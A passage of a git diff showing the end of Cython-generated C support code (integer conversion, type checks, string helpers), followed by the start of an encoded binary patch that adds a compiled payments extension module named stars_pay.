*shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..d9f053f07b34ec0ff3cdfff2f21ae09ffaaf90d0 GIT binary patch literal 1180600 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

    vpB5%HQ43zAqHs>A|bC{zN{2iGL(3wE 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 